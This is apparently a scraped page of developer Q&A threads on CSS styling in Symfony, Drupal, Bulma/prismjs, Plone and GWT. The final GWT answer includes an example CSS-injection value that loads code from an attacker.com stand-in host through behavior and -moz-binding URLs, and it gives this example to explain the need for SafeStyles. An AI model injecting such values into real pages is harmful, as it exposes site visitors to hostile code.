How Change the style of the error message - symfony

I use Symfony 5.4 in php7.4 and no framework for the css
When I want to use the "UniqueEntity" in order to have an error message if I have twice the same email, I can't find a way to change the style of the message, I would like to know if it was possible to put it in a class or something like that plz
I can do in css :
#register > ul > li {}
But i think it's not a good practice
HTML img and render of the page

Related

How to define custom styling tags for CSS

Sorry if this is a noob question, but I would like to know if there is a way to make custom tags linked to CSS entries (sorry if this the wrong terminology).
Like the h1, h2 tags but with a name I choose. So that I can apply these custom tags around text and modify it without doing inline styling for every instance or styling a whole div the same. So for example:
<customTag> This makes the text look like what 'customTag' is described in styles.css </customTag>
Is this possible? If so how can I do it?
Thank you.
In a HTML element you can provide the class="YourClassName" attribute to create a custom class that you can access in CSS.
Example:
In your html file you would write something like:
<p class="maintext">Hello World!</p>
And access the class in css like this:
.maintext {
color: #fff;
}
You could then add the class="maintext" attribute to any HTML element you'd like to have the same styling.
See this page for more information about HTML classes.

I am getting a strike through on the content in drupal

I am getting this strike through error over the content in my drupal website
please help me with this.
You may have a rogue CSS rule on your text.
.myclass {
text-decoration: line-through;
}
If you right-click on your page and hit inspect element you should be able to figure out where that is coming from. Or you could search for this in the css of your theme and alter it there.
the error was with my html , i had a typo instead of and that was creating the bad html.

Is there any way, no manually, to prefix prismjs class names because it conflitant with front-end frameworks?

Just starting using Bulma front end framework, everything is going good until try to use prismjs and start getting conflit with styles because prismjs do not prefix their classes name.
The main problem are with:
.number { ... }
and
.tag {...}
It can be override manually but it is not a good practice. This names are too generic or common to not be prefixed by prismjs.
Is there any way to work around this?
Manually fixed with:
pre code [class~=token]{
font:inherit;
background: inherit;
}
Because "token" class name is from prismjs and appear with other prismjs classes, use this selector to help override the styles needed. Just add this to the custom style and make sure to link after any framework css file linked in the html document.

Remove underlined hyperlink in portlet

Working on plone and am just getting experience with it. In my portlet I am currently editing a static text portlet to look like an RSS feed (so I can have some customization with my news items). I've gotten the format to work perfectly - with the exception of removing the underline from the hyperlink. I've tried using methods from all the different forums with CSS and HTML formatting...it's not working. Anyone able to help?
Use FireFox + FireBug to find which css property is used on portlet hyperlink.
Probably you wrote a property too general and one more specific is used.
Take a look:
....
<style>
.portlet a {text-decoration: underline;}
a {text-decoration: none;}
</style>
<div class="portlet">
1
</div>
....
Hyperlink will be underline because the first css property has a more specific "path".

GWT "Template with variable in CSS attribute context" Warning is bad?

Im using obfuscated styles eg.
<ui:style>
.explanation {
text-align: center;
}
</ui:style>
...
<g:HTMLPanel>
<div class="{style.explanation}">
...
Is this bad practice?
It looks ok when I check the HTML, or perhaps I'm misunderstanding the warning..
Im getting the following warning in Development Mode with GWT :
Template with variable in CSS attribute context:
The template code generator cannot guarantee HTML-safety of the template
-- please inspect manually or use SafeStyles to specify arguments in a CSS attribute context
class is not a "CSS attribute context", only style is (and <style>); so I doubt the warning comes from the code you showed (which is exactly how things are meant to be used, so not a bad practice at all).
The warning appears when you have things like style='width: {foo}; height: {bar}', because there's no guarantee (at compile-time) that foo or bar won't contain something like 100%; behavior: url(http://attacker.com/injection.htc); -moz-binding: url(http://attacker.com/injection.xbl). In that case, you should rather use style='{myStyle}' where myStyle is an instance of SafeStyles.

Resources